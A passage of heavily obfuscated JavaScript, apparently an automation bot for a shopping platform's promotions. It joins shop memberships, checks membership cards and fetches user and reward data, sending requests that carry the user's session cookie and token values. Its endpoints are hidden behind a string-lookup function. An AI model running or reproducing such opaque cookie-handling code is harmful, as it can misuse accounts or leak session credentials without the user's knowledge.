_0x4a6d7e();},'wMFjk':_0x44c0('108'),'YrtJd':function(_0x24cb1d,_0xd0d358){return _0x24cb1d!=_0xd0d358;},'HOBPe':_0x44c0('53'),'OKhXk':_0x44c0('54'),'cuVFg':function(_0x5c2dbe,_0x871bb5){return _0x5c2dbe!==_0x871bb5;},'JYZJg':_0x44c0('24e'),'VmUPY':_0x44c0('24f'),'XNDKE':function(_0x26ef5a,_0x3e015a){return _0x26ef5a(_0x3e015a);}};return new Promise(_0x555b9e=>{var _0x171f84={'FcXVO':function(_0xa78b12,_0x287b55){return _0x3213a7[_0x44c0('250')](_0xa78b12,_0x287b55);},'MDFhQ':_0x3213a7[_0x44c0('251')],'LVuyt':function(_0x121c77,_0x1f0ab3){return _0x3213a7[_0x44c0('252')](_0x121c77,_0x1f0ab3);},'IdXlX':function(_0x187c35,_0x726593){return _0x3213a7[_0x44c0('253')](_0x187c35,_0x726593);},'DgOXI':_0x3213a7[_0x44c0('254')],'ucWmL':_0x3213a7[_0x44c0('255')]};if(_0x3213a7[_0x44c0('256')](_0x3213a7[_0x44c0('257')],_0x3213a7[_0x44c0('258')])){$[_0x44c0('259')](_0x3213a7[_0x44c0('25a')](shopactivityId,''+_0xabccd5),async(_0x171ce6,_0x33fcb6,_0x2dfaf9)=>{var _0x3eca14={'Bckhl':_0x3213a7[_0x44c0('25b')]};try{_0x2dfaf9=JSON[_0x44c0('2a')](_0x2dfaf9);if(_0x3213a7[_0x44c0('250')](_0x2dfaf9[_0x44c0('25c')],!![])){console[_0x44c0('7')](_0x44c0('1a6')+(_0x2dfaf9[_0x44c0('12d')][_0x44c0('1a7')][_0x44c0('1a8')]||''));$[_0x44c0('1a9')]=_0x2dfaf9[_0x44c0('12d')][_0x44c0('1aa')]&&_0x2dfaf9[_0x44c0('12d')][_0x44c0('1aa')][0x0]&&_0x2dfaf9[_0x44c0('12d')][_0x44c0('1aa')][0x0][_0x44c0('1ab')]&&_0x2dfaf9[_0x44c0('12d')][_0x44c0('1aa')][0x0][_0x44c0('1ab')][_0x44c0('32')]||'';}}catch(_0x18e721){if(_0x3213a7[_0x44c0('252')](_0x3213a7[_0x44c0('25d')],_0x3213a7[_0x44c0('25d')])){$[_0x44c0('4d')](_0x18e721,_0x33fcb6);}else{console[_0x44c0('7')](_0x3eca14[_0x44c0('25e')]);$[_0x44c0('15')]=!![];}}finally{if(_0x3213a7[_0x44c0('25f')](_0x3213a7[_0x44c0('260')],_0x3213a7[_0x44c0('260')])){console[_0x44c0('7')](_0x2dfaf9);}else{_0x3213a7[_0x44c0('261')](_0x555b9e);}}});}else{res=$[_0x44c0('12b')](data);if(_0x171f84[_0x44c0('262')](typeof res,_0x171f84[_0x44c0('263')])&&res[_0x44c0('12d')]&&_0x171f84[_0x44c0('264')](res[_0x44c0('12d')],!![])){if(res[_0x44c0('11c')]&&_0x171f84[_0x44c0('265')](typeof res[_0x44c0('11c')][_0x44c0('20e')],_0x171f84[_0x44c0('266')]))$[_0x44c0('7a')]=res[_0x44c0('11c')][_0x44c0('20e')]||_0x171f84[_0x44c0('267')];}else if(_0x171f84[_0x44c0('262')](typeof res,_0x171f84[_0x44c0('263')])&&res[_0x44c0('103')]){console[_0x44c0('7')](_0x44c0('268')+(res[_0x44c0('103')]||''));}else{console[_0x44c0('7')](data);}}});}function shopactivityId(_0x29723a){var _0x3edc89={'dBVil':_0x44c0('155'),'jyUyN':_0x44c0('156'),'lHZyH':_0x44c0('157'),'kGGGP':_0x44c0('158'),'ZTETy':_0x44c0('159')};return{'url':_0x44c0('181')+_0x29723a+_0x44c0('182'),'headers':{'Content-Type':_0x3edc89[_0x44c0('269')],'Origin':_0x3edc89[_0x44c0('26a')],'Host':_0x3edc89[_0x44c0('26b')],'accept':_0x3edc89[_0x44c0('26c')],'User-Agent':$['UA'],'content-type':_0x3edc89[_0x44c0('26d')],'Referer':_0x44c0('188')+_0x29723a+_0x44c0('189')+_0x29723a+_0x44c0('18a')+$[_0x44c0('32')]+_0x44c0('35')+$[_0x44c0('30')],'Cookie':cookie}};}function join(_0x5bd648){var _0x3015c1={'NstuG':function(_0x316d47,_0x2168ae){return _0x316d47>_0x2168ae;},'serOT':_0x44c0('26e'),'jgqgT':function(_0x184cdd,_0x39d26a){return _0x184cdd+_0x39d26a;},'kYsyP':function(_0x23039e,_0x50fb2a){return _0x23039e>_0x50fb2a;},'UFLVV':_0x44c0('26f'),'Uiiun':function(_0x5dd70a,_0x4534c1){return _0x5dd70a+_0x4534c1;},'JPCCC':_0x44c0('17'),'RwZBE':_0x44c0('52'),'tNEJa':function(_0xefc8de){return _0xefc8de();},'XFRIF':function(_0x49f34d,_0x1bb70e){return _0x49f34d==_0x1bb70e;},'vAMnS':_0x44c0('108'),'vNare':function(_0x2e6529,_0x5dab35){return _0x2e6529===_0x5dab35;},'McPui':_0x44c0('270'),'uxdtR':_0x44c0('271'),'tubBx':function(_0x41e1f9,_0x4aa98c){return _0x41e1f9!==_0x4aa98c;},'xTUaY':_0x44c0('272'),'NwnyM':_0x44c0('273'),'CeyYQ':_0x44c0('274'),'RehEI':_0x44c0('275'),'gcdDG':function(_0x25e93d,_0x1fde73){return _0x25e93d!==_0x1fde73;},'CDCoz':_0x44c0('276'),'UiKqF':_0x44c0('277'),'rBKFW':_0x44c0('278'),'VVypI':function(_0x3fddac,_0x1d61d9){return _0x3fddac(_0x1d61d9);}};return new Promise(async _0x5f0126=>{var _0x524cf7={'rVKOU':_0x3015c1[_0x44c0('279')],'PGdHn':_0x3015c1[_0x44c0('27a')],'horiL':function(_0x39567d){return _0x3015c1[_0x44c0('27b')](_0x39567d);},'aFnVy':function(_0x3570ae,_0x192e5c){return _0x3015c1[_0x44c0('27c')](_0x3570ae,_0x192e5c);},'MqrRa':_0x3015c1[_0x44c0('27d')],'CuTKK':function(_0x53bdc5,_0x1b8b75){return _0x3015c1[_0x44c0('27e')](_0x53bdc5,_0x1b8b75);},'sgvfn':_0x3015c1[_0x44c0('27f')],'biYWy':_0x3015c1[_0x44c0('280')],'UqxPz':function(_0x374499,_0x31d56f){return _0x3015c1[_0x44c0('281')](_0x374499,_0x31d56f);},'SeDXh':_0x3015c1[_0x44c0('282')],'Jowph':_0x3015c1[_0x44c0('283')],'KNvsV':function(_0x538eb1,_0x1ac394){return _0x3015c1[_0x44c0('27c')](_0x538eb1,_0x1ac394);},'fsXYq':function(_0x360ac3,_0x350b2d){return _0x3015c1[_0x44c0('281')](_0x360ac3,_0x350b2d);},'AJAtQ':_0x3015c1[_0x44c0('284')],'enFuf':_0x3015c1[_0x44c0('285')],'WVtOC':function(_0x5f0a46,_0x5d8b46){return _0x3015c1[_0x44c0('286')](_0x5f0a46,_0x5d8b46);},'nfHHs':_0x3015c1[_0x44c0('287')]};if(_0x3015c1[_0x44c0('27e')](_0x3015c1[_0x44c0('288')],_0x3015c1[_0x44c0('289')])){if(_0x3015c1[_0x44c0('28a')](name[_0x44c0('28b')](_0x3015c1[_0x44c0('28c')]),-0x1))LZ_TOKEN_KEY=_0x3015c1[_0x44c0('28d')](name[_0x44c0('142')](/ /g,''),';');if(_0x3015c1[_0x44c0('28e')](name[_0x44c0('28b')](_0x3015c1[_0x44c0('28f')]),-0x1))LZ_TOKEN_VALUE=_0x3015c1[_0x44c0('290')](name[_0x44c0('142')](/ /g,''),';');}else{$[_0x44c0('1a9')]='';await $[_0x44c0('81')](0x3e8);await _0x3015c1[_0x44c0('291')](getshopactivityId,_0x5bd648);$[_0x44c0('259')](_0x3015c1[_0x44c0('291')](ruhui,''+_0x5bd648),async(_0x7badea,_0x5d0e4d,_0x1f759f)=>{var _0x40d3ec={'rpoId':_0x524cf7[_0x44c0('292')],'tgdVQ':function(_0x23af19){return _0x524cf7[_0x44c0('293')](_0x23af19);}};try{res=$[_0x44c0('12b')](_0x1f759f);if(_0x524cf7[_0x44c0('294')](typeof res,_0x524cf7[_0x44c0('295')])){if(_0x524cf7[_0x44c0('296')](_0x524cf7[_0x44c0('297')],_0x524cf7[_0x44c0('298')])){console[_0x44c0('7')](_0x1f759f);}else{if(_0x524cf7[_0x44c0('296')](res[_0x44c0('25c')],!![])){if(_0x524cf7[_0x44c0('299')](_0x524cf7[_0x44c0('29a')],_0x524cf7[_0x44c0('29b')])){console[_0x44c0('7')](res[_0x44c0('13d')]);if(res[_0x44c0('12d')]&&res[_0x44c0('12d')][_0x44c0('29c')]){for(let _0x35e93c of res[_0x44c0('12d')][_0x44c0('29c')][_0x44c0('29d')]){console[_0x44c0('7')](_0x44c0('231')+_0x35e93c[_0x44c0('232')]+_0x35e93c[_0x44c0('233')]+_0x35e93c[_0x44c0('234')]);}}}else{console[_0x44c0('7')](_0x524cf7[_0x44c0('29e')]);$[_0x44c0('15')]=!![];}}else if(_0x524cf7[_0x44c0('29f')](typeof res,_0x524cf7[_0x44c0('295')])&&res[_0x44c0('13d')]){console[_0x44c0('7')](''+(res[_0x44c0('13d')]||''));}else{if(_0x524cf7[_0x44c0('2a0')](_0x524cf7[_0x44c0('2a1')],_0x524cf7[_0x44c0('2a2')])){console[_0x44c0('7')](_0x1f759f);}else{console[_0x44c0('7')](_0x40d3ec[_0x44c0('2a3')]);return;}}}}else{console[_0x44c0('7')](_0x1f759f);}}catch(_0x202a23){$[_0x44c0('4d')](_0x202a23,_0x5d0e4d);}finally{if(_0x524cf7[_0x44c0('2a4')](_0x524cf7[_0x44c0('2a5')],_0x524cf7[_0x44c0('2a5')])){_0x40d3ec[_0x44c0('2a6')](_0x5f0126);}else{_0x524cf7[_0x44c0('293')](_0x5f0126);}}});}});}function ruhui(_0x13203d){var _0x4df783={'aQpQv':_0x44c0('155'),'uMmWP':_0x44c0('156'),'pPFdJ':_0x44c0('157'),'WeGlu':_0x44c0('158'),'RnNze':_0x44c0('159')};let _0x51a01a='';if($[_0x44c0('1a9')])_0x51a01a=_0x44c0('2a7')+$[_0x44c0('1a9')];return{'url':_0x44c0('2a8')+_0x13203d+_0x44c0('2a9')+_0x13203d+_0x44c0('2aa')+_0x51a01a+_0x44c0('2ab'),'headers':{'Content-Type':_0x4df783[_0x44c0('2ac')],'Origin':_0x4df783[_0x44c0('2ad')],'Host':_0x4df783[_0x44c0('2ae')],'accept':_0x4df783[_0x44c0('2af')],'User-Agent':$['UA'],'content-type':_0x4df783[_0x44c0('2b0')],'Referer':_0x44c0('188')+_0x13203d+_0x44c0('189')+_0x13203d+_0x44c0('18a')+$[_0x44c0('32')]+_0x44c0('35')+$[_0x44c0('30')],'Cookie':cookie}};}function drawContent(){var _0x572845={'cuiYc':function(_0x16b31b,_0x1a76b7){return _0x16b31b==_0x1a76b7;},'AaCnq':_0x44c0('17'),'RcpPA':function(_0x43f049,_0x45b28c){return _0x43f049!==_0x45b28c;},'kJmIO':_0x44c0('2b1'),'UGFKE':function(_0x2bf1e6,_0x2274bc){return _0x2bf1e6!==_0x2274bc;},'kLvaO':_0x44c0('2b2'),'oPmzl':function(_0x4a254e){return _0x4a254e();},'UvVlv':function(_0x266845,_0xd86c30){return _0x266845(_0xd86c30);},'XzlnP':function(_0x3456a7,_0x3c73c6,_0x3ebcd0){return _0x3456a7(_0x3c73c6,_0x3ebcd0);},'AYklU':_0x44c0('2b3')};return new Promise(_0x10c2ae=>{var _0x1a2287={'Jnruz':function(_0x26fcce){return _0x572845[_0x44c0('2b4')](_0x26fcce);}};let _0xa6066c=_0x44c0('11e')+$[_0x44c0('32')]+_0x44c0('120')+_0x572845[_0x44c0('2b5')](encodeURIComponent,$[_0x44c0('6b')]);$[_0x44c0('122')](_0x572845[_0x44c0('2b6')](taskPostUrl,_0x572845[_0x44c0('2b7')],_0xa6066c),async(_0x1558c8,_0x5650eb,_0x108bba)=>{var _0x3477eb={'kOzBw':function(_0x8f8caa,_0x4878a1){return _0x572845[_0x44c0('2b8')](_0x8f8caa,_0x4878a1);},'TApBM':_0x572845[_0x44c0('2b9')]};if(_0x572845[_0x44c0('2ba')](_0x572845[_0x44c0('2bb')],_0x572845[_0x44c0('2bb')])){_0x1a2287[_0x44c0('2bc')](_0x10c2ae);}else{try{if(_0x1558c8){if(_0x572845[_0x44c0('2bd')](_0x572845[_0x44c0('2be')],_0x572845[_0x44c0('2be')])){if(_0x5650eb[_0x44c0('45')]&&_0x3477eb[_0x44c0('2bf')](_0x5650eb[_0x44c0('45')],0x1ed)){console[_0x44c0('7')](_0x3477eb[_0x44c0('2c0')]);$[_0x44c0('15')]=!![];}console[_0x44c0('7')](''+$[_0x44c0('48')](_0x1558c8));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('49'));}else{if(_0x5650eb[_0x44c0('45')]&&_0x572845[_0x44c0('2b8')](_0x5650eb[_0x44c0('45')],0x1ed)){console[_0x44c0('7')](_0x572845[_0x44c0('2b9')]);$[_0x44c0('15')]=!![];}console[_0x44c0('7')](''+$[_0x44c0('48')](_0x1558c8));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('49'));}}else{}}catch(_0x11fc74){$[_0x44c0('4d')](_0x11fc74,_0x5650eb);}finally{_0x572845[_0x44c0('2b4')](_0x10c2ae);}}});});}function checkOpenCard(_0x19e867){var _0x3f2bbf={'vzLoD':function(_0x10da6d,_0x1298ba){return _0x10da6d==_0x1298ba;},'UixGg':_0x44c0('17'),'CjnhM':function(_0x11f37b,_0xc450a8){return _0x11f37b!==_0xc450a8;},'qBHic':_0x44c0('2c1'),'IJuop':_0x44c0('2c2'),'dnMBf':function(_0x440291,_0x2305ea){return _0x440291==_0x2305ea;},'hYAMN':_0x44c0('2c3'),'ZhXBB':function(_0x3cb64d,_0x18ba28){return _0x3cb64d===_0x18ba28;},'WOBOv':_0x44c0('108'),'RgviW':function(_0xee7198){return _0xee7198();},'UYFGr':function(_0x3f4570,_0x2b06c3){return _0x3f4570===_0x2b06c3;},'nqhTG':_0x44c0('2c4'),'TMxOH':_0x44c0('2c5'),'Lsvdq':_0x44c0('2c6'),'HGaOy':_0x44c0('200'),'qBOga':function(_0x45431f,_0x50e9a4){return _0x45431f(_0x50e9a4);},'GudVG':function(_0x511316,_0xdc434,_0x29dd91){return _0x511316(_0xdc434,_0x29dd91);}};return new Promise(_0x407733=>{var _0xd5a1ef={'AVlbG':function(_0x5cdbaa,_0x44c98e){return _0x3f2bbf[_0x44c0('2c7')](_0x5cdbaa,_0x44c98e);},'TLpAi':_0x3f2bbf[_0x44c0('2c8')],'qMAat':_0x3f2bbf[_0x44c0('2c9')],'jKXAs':function(_0x18697e,_0x4bbc67){return _0x3f2bbf[_0x44c0('2ca')](_0x18697e,_0x4bbc67);},'vORAu':_0x3f2bbf[_0x44c0('2cb')],'yBEFG':_0x3f2bbf[_0x44c0('2cc')],'ZBuBW':function(_0x2e97a4,_0x19b849){return _0x3f2bbf[_0x44c0('2cd')](_0x2e97a4,_0x19b849);},'sSuDM':_0x3f2bbf[_0x44c0('2ce')],'RBEff':function(_0xbd31fc){return _0x3f2bbf[_0x44c0('2cf')](_0xbd31fc);}};if(_0x3f2bbf[_0x44c0('2d0')](_0x3f2bbf[_0x44c0('2d1')],_0x3f2bbf[_0x44c0('2d2')])){if(resp[_0x44c0('45')]&&_0x3f2bbf[_0x44c0('2d3')](resp[_0x44c0('45')],0x1ed)){console[_0x44c0('7')](_0x3f2bbf[_0x44c0('2cc')]);$[_0x44c0('15')]=!![];}console[_0x44c0('7')](''+$[_0x44c0('48')](err));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('49'));}else{let _0x5e0f2e=_0x3f2bbf[_0x44c0('2d4')];if(_0x3f2bbf[_0x44c0('2ca')](_0x19e867,0x2)){_0x5e0f2e=_0x3f2bbf[_0x44c0('2d5')];}let _0xde169d=_0x44c0('11e')+$[_0x44c0('32')]+_0x44c0('35')+$[_0x44c0('30')]+_0x44c0('120')+_0x3f2bbf[_0x44c0('2d6')](encodeURIComponent,$[_0x44c0('6b')]);$[_0x44c0('122')](_0x3f2bbf[_0x44c0('2d7')](taskPostUrl,_0x5e0f2e,_0xde169d),async(_0x1677b8,_0x52cc5e,_0x4d9cb0)=>{try{if(_0xd5a1ef[_0x44c0('2d8')](_0xd5a1ef[_0x44c0('2d9')],_0xd5a1ef[_0x44c0('2da')])){if(_0x1677b8){if(_0x52cc5e[_0x44c0('45')]&&_0xd5a1ef[_0x44c0('2db')](_0x52cc5e[_0x44c0('45')],0x1ed)){if(_0xd5a1ef[_0x44c0('2d8')](_0xd5a1ef[_0x44c0('2dc')],_0xd5a1ef[_0x44c0('2dc')])){console[_0x44c0('7')](_0x4d9cb0);}else{console[_0x44c0('7')](_0xd5a1ef[_0x44c0('2dd')]);$[_0x44c0('15')]=!![];}}console[_0x44c0('7')](''+$[_0x44c0('48')](_0x1677b8));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('49'));}else{let _0x26ba07=$[_0x44c0('12b')](_0x4d9cb0);if(_0xd5a1ef[_0x44c0('2de')](typeof _0x26ba07,_0xd5a1ef[_0x44c0('2df')])){$[_0x44c0('7f')]=_0x26ba07[_0x44c0('11c')][_0x44c0('1ee')];$[_0x44c0('87')]=_0x26ba07[_0x44c0('11c')][_0x44c0('87')];$[_0x44c0('1ef')]=_0x26ba07[_0x44c0('11c')][_0x44c0('1ef')];}}}else{console[_0x44c0('7')](_0x4d9cb0);}}catch(_0x134f6a){$[_0x44c0('4d')](_0x134f6a,_0x52cc5e);}finally{_0xd5a1ef[_0x44c0('2e0')](_0x407733);}});}});}function getActorUuid(){var _0x2b5fa3={'AiIJf':function(_0x11437c,_0x1cb477){return _0x11437c!=_0x1cb477;},'wTVQB':_0x44c0('53'),'qsBAU':function(_0x139dda,_0x156f59){return _0x139dda===_0x156f59;},'EEyyo':function(_0x5a6e70,_0x4abf8b){return _0x5a6e70==_0x4abf8b;},'TYipb':_0x44c0('108'),'SdaIw':_0x44c0('17'),'CUGQP':_0x44c0('2e1'),'FTEWk':_0x44c0('2e2'),'HKXks':_0x44c0('2e3'),'NtVSM':function(_0x1f7f6f,_0x5317c2){return _0x1f7f6f!==_0x5317c2;},'artYa':_0x44c0('2e4'),'FPzvz':function(_0xc3695b,_0x2aa1d5){return _0xc3695b==_0x2aa1d5;},'ucFME':function(_0x16d956,_0x5b3a01){return _0x16d956===_0x5b3a01;},'sMhzk':_0x44c0('2e5'),'tNADa':_0x44c0('2e6'),'pHmGj':function(_0xbe3c92,_0x4995d0){return _0xbe3c92!=_0x4995d0;},'XSsjO':function(_0x5f5809,_0x257c83){return _0x5f5809===_0x257c83;},'PEWcp':_0x44c0('2e7'),'qFGTf':_0x44c0('2e8'),'jquRx':function(_0x58c06d){return _0x58c06d();},'ldUEs':_0x44c0('2e9'),'EPzMh':_0x44c0('2ea'),'fmQfJ':function(_0x53000b,_0x3b8818){return _0x53000b(_0x3b8818);},'zFLnS':function(_0x32776d,_0x4e8508,_0xefa74c){return _0x32776d(_0x4e8508,_0xefa74c);},'weqYQ':_0x44c0('2eb')};return new Promise(_0x28518c=>{var _0x469774={'tSdMI':function(_0x185262,_0x3129ba){return _0x2b5fa3[_0x44c0('2ec')](_0x185262,_0x3129ba);},'SZjub':_0x2b5fa3[_0x44c0('2ed')],'YLVLT':function(_0x28a244,_0x21b8a9){return _0x2b5fa3[_0x44c0('2ee')](_0x28a244,_0x21b8a9);},'ERYhR':function(_0x22b121,_0x338ec5){return _0x2b5fa3[_0x44c0('2ef')](_0x22b121,_0x338ec5);},'HphHl':_0x2b5fa3[_0x44c0('2f0')],'psuLC':_0x2b5fa3[_0x44c0('2f1')],'FRoCo':function(_0x23a169,_0x8557bb){return _0x2b5fa3[_0x44c0('2ef')](_0x23a169,_0x8557bb);},'dOkYN':_0x2b5fa3[_0x44c0('2f2')],'kfkZO':_0x2b5fa3[_0x44c0('2f3')],'vASyX':function(_0x578b1f,_0x540c77){return _0x2b5fa3[_0x44c0('2ee')](_0x578b1f,_0x540c77);},'HUSYW':_0x2b5fa3[_0x44c0('2f4')],'HFGdg':function(_0x2a738c,_0xccec93){return _0x2b5fa3[_0x44c0('2f5')](_0x2a738c,_0xccec93);},'eygPk':_0x2b5fa3[_0x44c0('2f6')],'OWQaf':function(_0x4a123e,_0x2045c1){return _0x2b5fa3[_0x44c0('2f7')](_0x4a123e,_0x2045c1);},'oQula':function(_0x27e0d3,_0x1e1ef4){return _0x2b5fa3[_0x44c0('2f8')](_0x27e0d3,_0x1e1ef4);},'PukbB':_0x2b5fa3[_0x44c0('2f9')],'tnagH':_0x2b5fa3[_0x44c0('2fa')],'RPCFC':function(_0x10b091,_0x233991){return _0x2b5fa3[_0x44c0('2f7')](_0x10b091,_0x233991);},'ZrYoT':function(_0x37ffca,_0x4a6510){return _0x2b5fa3[_0x44c0('2fb')](_0x37ffca,_0x4a6510);},'CvdvK':function(_0x31d0a2,_0x1b493d){return _0x2b5fa3[_0x44c0('2fb')](_0x31d0a2,_0x1b493d);},'wGMCu':function(_0x536e8f,_0x29248d){return _0x2b5fa3[_0x44c0('2fc')](_0x536e8f,_0x29248d);},'EDOWt':_0x2b5fa3[_0x44c0('2fd')],'thbVd':function(_0x30b6f3,_0x4f204f){return _0x2b5fa3[_0x44c0('2fc')](_0x30b6f3,_0x4f204f);},'xoWYf':_0x2b5fa3[_0x44c0('2fe')],'kprhV':function(_0x4fe38e){return _0x2b5fa3[_0x44c0('2ff')](_0x4fe38e);}};if(_0x2b5fa3[_0x44c0('2fc')](_0x2b5fa3[_0x44c0('300')],_0x2b5fa3[_0x44c0('301')])){if(res[_0x44c0('11c')]&&_0x469774[_0x44c0('302')](typeof res[_0x44c0('11c')][_0x44c0('303')],_0x469774[_0x44c0('304')]))$[_0x44c0('6b')]=res[_0x44c0('11c')][_0x44c0('303')];if(res[_0x44c0('11c')]&&_0x469774[_0x44c0('302')](typeof res[_0x44c0('11c')][_0x44c0('71')],_0x469774[_0x44c0('304')]))$[_0x44c0('71')]=res[_0x44c0('11c')][_0x44c0('71')];}else{let _0x5c7a6a=_0x44c0('11e')+$[_0x44c0('32')]+_0x44c0('120')+_0x2b5fa3[_0x44c0('305')](encodeURIComponent,$[_0x44c0('6b')])+_0x44c0('306')+_0x2b5fa3[_0x44c0('305')](encodeURIComponent,$[_0x44c0('7a')])+_0x44c0('307')+_0x2b5fa3[_0x44c0('305')](encodeURIComponent,$[_0x44c0('71')])+_0x44c0('308')+$[_0x44c0('30')];$[_0x44c0('122')](_0x2b5fa3[_0x44c0('309')](taskPostUrl,_0x2b5fa3[_0x44c0('30a')],_0x5c7a6a),async(_0x1ca615,_0x2bc0b0,_0x50d327)=>{if(_0x469774[_0x44c0('30b')](_0x469774[_0x44c0('30c')],_0x469774[_0x44c0('30d')])){if(_0x469774[_0x44c0('30b')](res[_0x44c0('12d')],!![])&&res[_0x44c0('11c')]){$[_0x44c0('de')]=res[_0x44c0('11c')][_0x44c0('37')];$[_0x44c0('7')](_0x44c0('17d')+res[_0x44c0('11c')][_0x44c0('37')]+'个');}else if(_0x469774[_0x44c0('30e')](typeof res,_0x469774[_0x44c0('30f')])&&res[_0x44c0('103')]){console[_0x44c0('7')](''+(res[_0x44c0('103')]||''));}else{console[_0x44c0('7')](_0x50d327);}}else{try{if(_0x469774[_0x44c0('310')](_0x469774[_0x44c0('311')],_0x469774[_0x44c0('311')])){if(_0x1ca615){if(_0x469774[_0x44c0('312')](_0x469774[_0x44c0('313')],_0x469774[_0x44c0('313')])){console[_0x44c0('7')](_0x469774[_0x44c0('314')]);$[_0x44c0('15')]=!![];}else{if(_0x2bc0b0[_0x44c0('45')]&&_0x469774[_0x44c0('315')](_0x2bc0b0[_0x44c0('45')],0x1ed)){console[_0x44c0('7')](_0x469774[_0x44c0('314')]);$[_0x44c0('15')]=!![];}console[_0x44c0('7')](''+$[_0x44c0('48')](_0x1ca615));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('49'));}}else{if(_0x469774[_0x44c0('316')](_0x469774[_0x44c0('317')],_0x469774[_0x44c0('318')])){$[_0x44c0('4d')](e,_0x2bc0b0);}else{res=$[_0x44c0('12b')](_0x50d327);if(_0x469774[_0x44c0('319')](typeof res,_0x469774[_0x44c0('30f')])&&res[_0x44c0('12d')]&&_0x469774[_0x44c0('316')](res[_0x44c0('12d')],!![])){if(_0x469774[_0x44c0('31a')](typeof res[_0x44c0('11c')][_0x44c0('42')],_0x469774[_0x44c0('304')]))$[_0x44c0('42')]=res[_0x44c0('11c')][_0x44c0('42')];if(_0x469774[_0x44c0('31a')](typeof res[_0x44c0('11c')][_0x44c0('c1')],_0x469774[_0x44c0('304')]))$[_0x44c0('c1')]=res[_0x44c0('11c')][_0x44c0('c1')];if(_0x469774[_0x44c0('31a')](typeof res[_0x44c0('11c')][_0x44c0('bf')],_0x469774[_0x44c0('304')]))$[_0x44c0('bf')]=res[_0x44c0('11c')][_0x44c0('bf')];if(_0x469774[_0x44c0('31b')](typeof res[_0x44c0('11c')][_0x44c0('c3')],_0x469774[_0x44c0('304')]))$[_0x44c0('c3')]=res[_0x44c0('11c')][_0x44c0('c3')];}else if(_0x469774[_0x44c0('319')](typeof res,_0x469774[_0x44c0('30f')])&&res[_0x44c0('103')]){console[_0x44c0('7')](_0x44c0('31c')+(res[_0x44c0('103')]||''));}else{console[_0x44c0('7')](_0x50d327);}}}}else{console[_0x44c0('7')](title+'\x20'+(res[_0x44c0('103')]||''));}}catch(_0xde1ff2){if(_0x469774[_0x44c0('31d')](_0x469774[_0x44c0('31e')],_0x469774[_0x44c0('31e')])){$[_0x44c0('4d')](_0xde1ff2,_0x2bc0b0);}else{$[_0x44c0('4d')](_0xde1ff2,_0x2bc0b0);}}finally{if(_0x469774[_0x44c0('31f')](_0x469774[_0x44c0('320')],_0x469774[_0x44c0('320')])){_0x469774[_0x44c0('321')](_0x28518c);}else{if(_0x1ca615){if(_0x2bc0b0[_0x44c0('45')]&&_0x469774[_0x44c0('322')](_0x2bc0b0[_0x44c0('45')],0x1ed)){console[_0x44c0('7')](_0x469774[_0x44c0('314')]);$[_0x44c0('15')]=!![];}console[_0x44c0('7')](''+$[_0x44c0('48')](_0x1ca615));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('49'));}else{}}}}});}});}function getUserInfo(){var _0x1998ad={'zIXrX':function(_0x51615f,_0x5177d2){return _0x51615f!=_0x5177d2;},'JjBbC':_0x44c0('108'),'wPcNN':function(_0x285f0e,_0x5dda75){return _0x285f0e>_0x5dda75;},'FoPEE':_0x44c0('26e'),'GIhnR':function(_0x2fdecb,_0x569426){return _0x2fdecb+_0x569426;},'CiVLn':function(_0x1492a4,_0x594e85){return _0x1492a4>_0x594e85;},'jJRxc':_0x44c0('26f'),'YtQbk':function(_0x5f254d,_0x23a65e){return _0x5f254d+_0x23a65e;},'oOdBo':function(_0x218e73,_0x46b176){return _0x218e73==_0x46b176;},'aTVVY':_0x44c0('323'),'YoUyD':_0x44c0('16'),'EkbeU':_0x44c0('17'),'WbErO':function(_0x407496,_0xaa20d){return _0x407496!==_0xaa20d;},'GoqNa':_0x44c0('324'),'QiXWE':_0x44c0('325'),'lUzEH':function(_0x2f20da,_0x5d615c){return _0x2f20da==_0x5d615c;},'lynKa':function(_0x172fe5,_0x426b69){return _0x172fe5===_0x426b69;},'MjkWn':_0x44c0('326'),'GbGcZ':_0x44c0('327'),'zdZhv':function(_0x4a8e93,_0xb8cef0){return _0x4a8e93!=_0xb8cef0;},'rMAgG':_0x44c0('53'),'VDcEq':_0x44c0('54'),'KCvpl':function(_0x346745,_0x222756){return _0x346745==_0x222756;},'ZAtZi':function(_0x3e4c10){return _0x3e4c10();},'uoWrn':function(_0xddc429,_0x417a8b){return _0xddc429(_0x417a8b);},'LsoRC':function(_0x52a6a5,_0x37518,_0x2517f1){return _0x52a6a5(_0x37518,_0x2517f1);},'TmzqI':_0x44c0('328')};return new Promise(_0x3c5739=>{var _0x311b6e={'dUcNl':function(_0xad3de9,_0x308109){return _0x1998ad[_0x44c0('329')](_0xad3de9,_0x308109);},'DKJIJ':_0x1998ad[_0x44c0('32a')],'mUXLt':function(_0x572e8a,_0x57eab3){return _0x1998ad[_0x44c0('32b')](_0x572e8a,_0x57eab3);},'cfUgK':_0x1998ad[_0x44c0('32c')],'vFeKK':function(_0x534b2c,_0x3ad2eb){return _0x1998ad[_0x44c0('32d')](_0x534b2c,_0x3ad2eb);},'ntljH':function(_0x3dda35,_0x24b4fa){return _0x1998ad[_0x44c0('32e')](_0x3dda35,_0x24b4fa);},'bMlix':_0x1998ad[_0x44c0('32f')],'lgRqf':function(_0x1eb2c2,_0x2aabdc){return _0x1998ad[_0x44c0('330')](_0x1eb2c2,_0x2aabdc);},'qFwru':function(_0x57e03a,_0x496189){return _0x1998ad[_0x44c0('331')](_0x57e03a,_0x496189);},'oUKff':_0x1998ad[_0x44c0('332')],'bIVqI':_0x1998ad[_0x44c0('333')],'lvOuC':function(_0x4fb9a4,_0x444b9a){return _0x1998ad[_0x44c0('331')](_0x4fb9a4,_0x444b9a);},'KkAiN':_0x1998ad[_0x44c0('334')],'KrIbY':function(_0x9aff63,_0x4eee10){return _0x1998ad[_0x44c0('335')](_0x9aff63,_0x4eee10);},'gGAVD':_0x1998ad[_0x44c0('336')],'hLEck':_0x1998ad[_0x44c0('337')],'RPaxM':function(_0xc99a0a,_0x2c22fe){return _0x1998ad[_0x44c0('338')](_0xc99a0a,_0x2c22fe);},'pVYIg':function(_0x1332e2,_0x1aecb2){return _0x1998ad[_0x44c0('339')](_0x1332e2,_0x1aecb2);},'FtpDz':_0x1998ad[_0x44c0('33a')],'Ltbsb':function(_0x491101,_0x244ea3){return 